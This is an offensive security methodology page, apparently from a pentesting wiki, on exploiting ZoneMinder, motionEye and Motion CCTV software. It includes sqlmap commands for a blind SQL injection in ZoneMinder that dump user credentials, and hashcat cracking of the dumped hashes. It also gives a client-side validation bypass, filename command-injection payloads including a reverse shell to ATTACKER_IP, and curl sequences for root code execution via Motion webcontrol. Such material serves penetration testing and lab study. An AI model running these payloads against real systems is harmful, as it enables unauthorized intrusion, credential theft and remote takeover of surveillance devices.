ZoneMinder, motionEye & Motion
Quick triage
When a target exposes a CCTV / NVR web stack, look for combinations such as:
- ZoneMinder under paths like
/zm/ - motionEye on
127.0.0.1:8765 - Motion webcontrol on
127.0.0.1:7999 - RTSP / video side services such as 8554, 1935, or local image streams
After host access, the most interesting files are commonly:
/etc/motioneye/motioneye.conf/etc/motioneye/*.conf- ZoneMinder web sources / config revealing the DB name, tables, and auth model[1]
ZoneMinder
ZoneMinder is an open-source video-surveillance platform; its source tree is useful for mapping routes, database access, authentication, and version-specific behavior during an authorized review.[2]
Default credentials and versioning
ZoneMinder is commonly worth checking for:
- default credentials such as
admin:admin - exposed version information in the UI
- local source code / package version to map to known auth-only bugs
Blind SQLi in action=removetag
In vulnerable ZoneMinder 1.37.* <= 1.37.64, the tid parameter in:
/zm/index.php?view=request&request=event&action=removetag&tid=1
can reach code that safely uses $_REQUEST['tid'] in one query and then later concatenates it into:[1]
$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
Useful workflow:
- Prove injection with a time-based payload such as
SLEEP(5). - Check if a faster Boolean oracle exists by appending conditions that preserve or break the response.
- Determine the UNION column count.
- Feed the working shape to sqlmap instead of waiting for slow time-based extraction.
Example from a real exploitation chain where the original query accepted 4 columns and HTTP 200 indicated True:[1]
sqlmap -r removetag.request -p tid --batch \
--prefix="1 UNION SELECT 1,2,3,4 WHERE " \
--code 200 --technique=B --flush-session
Then enumerate only what matters:
sqlmap -r removetag.request -p tid --batch \
--prefix="1 UNION SELECT 1,2,3,4 WHERE " \
--code 200 --technique=B \
-D zm -T Users -C Username,Password,Name,Email --dump
This is especially useful when the application provides a better Boolean signal than sqlmap initially discovers by itself.
Turning app SQLi into OS access
ZoneMinder user dumps are high-value because they often contain reusable operator credentials.[1]
- Identify the hash type first (for example bcrypt /
$2y$). - Crack only the extracted application users.
- Test reuse against SSH,
su, SMB, VPN, or other operator-facing services.
Example bcrypt cracking flow:
hashcat zm.hashes /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt --user -m 3200
Post-foothold: sniffing internal creds with tcpdump capabilities
On Linux CCTV appliances, low-privileged shells sometimes inherit useful file capabilities instead of sudo.[1]
Check for capture primitives:
getcap -r / 2>/dev/null
If tcpdump has cap_net_raw (or cap_net_admin,cap_net_raw), capture local traffic even as a non-root user:
timeout 120 tcpdump -i any -w /tmp/capture.pcap
This is especially valuable when:
- loopback / bridge services are doing cleartext internal auth
- Docker bridges expose custom management channels
/procis mounted withhidepid, reducing normal process visibility
Review the pcap in Wireshark and prioritise:
- Conversations
- Protocol Hierarchy
- Follow TCP Stream on local / container management ports
motionEye / Motion
motionEye is a web frontend for the Motion daemon. Review both projects because a value validated or signed by motionEye can later be written to Motion configuration and consumed under Motion’s own parsing and hook semantics.[3][4]
Signed requests + client-side-only validation
motionEye signs config requests with _signature, so directly editing a captured JSON body normally breaks the request. However, some dangerous fields are only protected by client-side JavaScript validation.[1]
A practical approach is:
- Use the legitimate UI so the browser generates a valid
_signature. - In DevTools, neutralise the validator, for example:
configUiValid = function() { return true; };
- Submit the malicious value through the normal UI workflow.
This is useful when the UI blocks characters such as $, but the backend still accepts them.
Filename-to-shell command injection
In vulnerable motionEye / Motion setups, fields such as image_file_name or picture_filename are written into Motion configuration and later propagated into shell-executed hooks such as on_picture_save ... %f.[1]
If the saved filename contains shell substitution like $(...), the shell expands it before the hook runs.[1]
Probe payloads:
$(id)
$(ping -c 1 ATTACKER_IP)
$(bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1')
If the Motion process or hook executes as root, this becomes root RCE.
Unauthenticated localhost Motion webcontrol
If Motion webcontrol is reachable and unauthenticated, test it directly:[1]
curl -s http://127.0.0.1:7999/
If advanced parameters are exposed (for example webcontrol_parms 2), you may be able to set filename-related options even when direct on_* hooks are protected.
Minimal exploitation sequence:
curl -s "http://127.0.0.1:7999/1/config/set?picture_output=on"
curl -s "http://127.0.0.1:7999/1/config/set?picture_filename=%24(touch%20/tmp/pwned)"
curl -s "http://127.0.0.1:7999/1/config/set?emulate_motion=on"
Why this works:
- Motion saves a file using the attacker-controlled filename.
- The file path is later inserted as
%fintoon_picture_save. - The hook is executed through a shell, so
$(...)runs first.
Stored SHA1 hash accepted as a login secret
If you can read @admin_password from motionEye config, do not assume you must crack it first.[1]
Some motionEye builds store:
@admin_password = sha1(real_password)
and then accept request signatures computed using the stored hash-derived secret. In practice, this means the stored SHA1 may itself be usable as the login secret for the admin UI.[1]
References
- [1] 0xdf - HTB: CCTV
- [2] ZoneMinder repository
- [3] motionEye repository
- [4] Motion Project